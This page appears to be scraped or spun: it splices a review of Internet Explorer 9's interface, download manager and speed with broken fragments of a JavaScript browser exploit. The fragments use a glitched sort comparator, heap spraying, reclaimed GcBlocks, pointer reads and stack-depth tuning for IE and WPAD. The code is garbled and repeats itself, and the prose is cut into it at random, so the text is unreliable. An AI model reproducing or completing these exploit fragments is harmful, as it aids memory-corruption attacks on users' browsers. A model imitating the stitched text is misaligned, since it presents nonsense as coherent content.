Now you can see everything you're downloading in one place, pause and restart a download if necessary, or locate and launch downloads at a click. Microsoft have finally paid proper attention to downloads, giving IE its own download manager window. IE9 is now a little faster than Firefox, and very similar to Chrome, so in many cases you won't notice any speed difference between the browsers at all. If you've ever tried a browser benchmark like SunSpider before then you'll probably have noticed that IE always lagged far, far behind - but not any more. Performance is massively improved, too, thanks not least to hardware-accelerated graphics, and a new JavaScript engine optimised for multiple CPU cores. And you can now drag tabs out of IE to open them in a new browser window. There is a useful internet addition when you open a new tab, though: the program now displays links to your "most popular sites", so you can relaunch a particular favourite with a click.Įlsewhere, tabs are now colour-coded to show you how they relate to each other (open one link in a new tab, for instance, and they'll both share the same colour). By default there's no menu, no status bar, no Favourites bar (though as with IE8 these are all available if you need them), just an address bar and the most minimal of toolbars. The interface has become even more cut down, following competitors like Chrome. Return ((MutableVar.length > 15) & 0xff) + (((MutableVar.length > 23) & 0xff) > 15) & 0xff) + (((MutableVar.length > 23) & 0xff) > 15) & 0xff) + (((MutableVar.length > 23) & 0xff) > 15) & 0xff) + (((MutableVar.length > 23) & 0xff) > 15) & 0xff) + (((MutableVar.length > 23) & 0xff) > 15) & 0xff) + (((MutableVar.length > 23) & 0xff) > 15) & 0xff) + (((MutableVar.length > 23) & 0xff) > 15) & 0xff) + (((MutableVar.length > 23) & 0xff) > 15) & 0xff) + (((MutableVar.length > 23) & 0xff) > 15) & 0xff) + (((MutableVar.length > 23) & 0xff) > 15) & 0xff) + (((MutableVar.length > 23) & 0xff) = TargetExportNameTable.Faster, simpler and with many interesting new features, the Internet Explorer 9 official release is the next incarnation of Microsoft's flagship browser. Return (MutableVar.length > 15) & 0xff // Shift to align and get the byte. ReClaimNameList(0, CreateVar64(0x8, Address.low + 2, Address.high, 0, 0)) // +2 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field) NextPtrLow & 0xffff, (NextPtrLow > 16) & 0xffff, NextPtrHigh & 0xffff, (NextPtrHigh > 16) & 0xffff) SortArray.sort(GlitchedComparator) įor(var i = 0 i > 16) & 0xffff, ObjPtrHigh & 0xffff, (ObjPtrHigh > 16) & 0xffff, This try/catch in conjunction with a global initialization of the sort array allows the depth to be sufficient to produce an untracked var which will overlap with the type confusion offset in the re-claimed GcBlock. In IE, a stack overflow exception will occur around depth 250 however in WPAD it will occur on a depth of less than 150, ensuring a stack overflow exception/alert will be thrown in the exploit. There is a difference between the stack size between WPAD and Internet Explorer. VarSpray = new Array() // Erase references to sprayed vars within GcBlocks
